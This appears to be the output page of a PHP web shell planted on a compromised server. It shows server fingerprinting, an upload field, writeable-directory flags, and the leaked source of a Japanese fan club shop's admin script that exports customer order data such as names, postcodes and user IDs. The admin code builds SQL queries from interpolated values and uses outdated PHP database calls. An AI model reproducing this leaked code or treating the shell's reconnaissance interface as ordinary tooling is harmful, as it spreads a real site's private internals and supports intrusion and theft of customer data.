KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/admin/store_order_excel2.html
<?include "$DOCUMENT_ROOT/conf/conf_dir.php";?>
<?
echo "";
$QUERY_PAGE  = "
SELECT
A.*,
C.userid,
C.id as mbrid
FROM shop_order A ,user C WHERE A.mbruid = C.id  and A.orderstep='5' and A.d_bank >='20121201' and A.d_bank <='20130131'  order by A.goodsuid desc,A.d_bank desc";
					
$result= mysql_query($QUERY_PAGE,$db_con);
if(!$result) {
	error("DB_ERROR");
	exit;
}
$total = mysql_affected_rows();

header( "Content-type: application/vnd.ms-excel" );
header( "Content-Disposition: attachment; filename = product_20131123.xls" );
header( "Content-Description: PHP4 Generated Data" );

?>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

    <TITLE>JYJ GOODS</TITLE>
	<meta http-equiv="content-style-type" content="text/css" />
	<meta http-equiv="content-script-type" content="text/javascript" />
	<meta http-equiv="content-language" content="ja" />
	<meta name="author" content="parksihoo JAPAN OFFICIAL FANCLUB" />
	<meta name="copyright" content="Copyright EVAN JAPAN OFFICIAL FANCLUB.All Rights Reserved." />
	<meta name="robots" content="INDEX,FOLLOW" />
	<meta name="keywords" content="parksihoo" lang="ja" xml:lang="ja" />
	<meta name="description" content="parksihoo" lang="ja" xml:lang="ja" />
    </HEAD>
 <BODY>
				
                <table width="100%" cellspacing="0" cellpadding="0" border=0>
					<tr>
						<td>
							
							<table width="100%" cellspacing="0" cellpadding="0" border=1  align='center' class="table_ro">
								
								<tr>
									<th scope="row" width="180">NO</th>
									<th scope="row" width="180">Order_No</th>
									<th scope="row">ID</th>
									<th scope="row">oName</th>
									<th scope="row">oZip_Code</th>
									<th scope="row">Product</th>
									<th scope="row">Amount</th>
									<th scope="row">PRICE</th>
									<th scope="row">DIRIVERY</th>
									<th scope="row">SUMPRICE</th>
									<th scope="row">confirm date</th>
								</tr>
								<?
								if(!$total){
									echo "<tr><td colspan='6' align=center  height='50px'>登録された情報がございません</td></tr>";
								}else{
									for($i=0; $i<$total; $i++) {
										$row = mysql_fetch_array($result);
										$d_bankdate = substr($row[d_bank],0,4)."-".substr($row[d_bank],4,2)."-".substr($row[d_bank],6,2);
										if($row[goodsuid] == 13){
											$productName="特別会員";
											$buynum = "1";
											$price3	="3500";
											$price2	="0";
											$price1	= $price3 - $price2;
										}else if($row[goodsuid] == 12){
											$productName="プレゼント配送費";
											$buynum = "1";
											$price3	="700";
											$price2	="700";
											$price1	="0";
										}else{
											$reqry = "select * from shop_ordergoods where mbruid = '$row[mbrid]' and parent='$row[uid]'";
											$resub= mysql_query($reqry,$db_con);
											$goods_total = mysql_affected_rows();
											while($rows=mysql_fetch_array($resub)){
											
											$productName= $rows[goodsname];
											$buynum = $rows[buynum];
											$price3	=$row[price];
											$price2	=$row[tack];
											$price1	= $price3 - $price2;
											}
										}
								?>
								<tr align="center">
									<td><?=$i?></td>
									<td align="center" height="30px"><?=$row[orderid]?></td>
									<td>J_<?=$row[userid]?></td>
									<td><?=$row[o_name]?></td>
									<td><?=$row[o_zip]?></td>
									<td><?=$productName?></td>
									<td><?=$buynum?></td>
									<td><?=$price1?></td>
									<td><?=$price2?></td>
									<td><?=$price3?></td>
									<?//}?>
									
									</td>
									<td><?=$d_bankdate?></td>
								</tr>
								<?
									$Num--;
									}
								}
								?>
								
							</table>
							
						</td>
					</tr>
				</table>
 </BODY>
</HTML>


Anon7 - 2021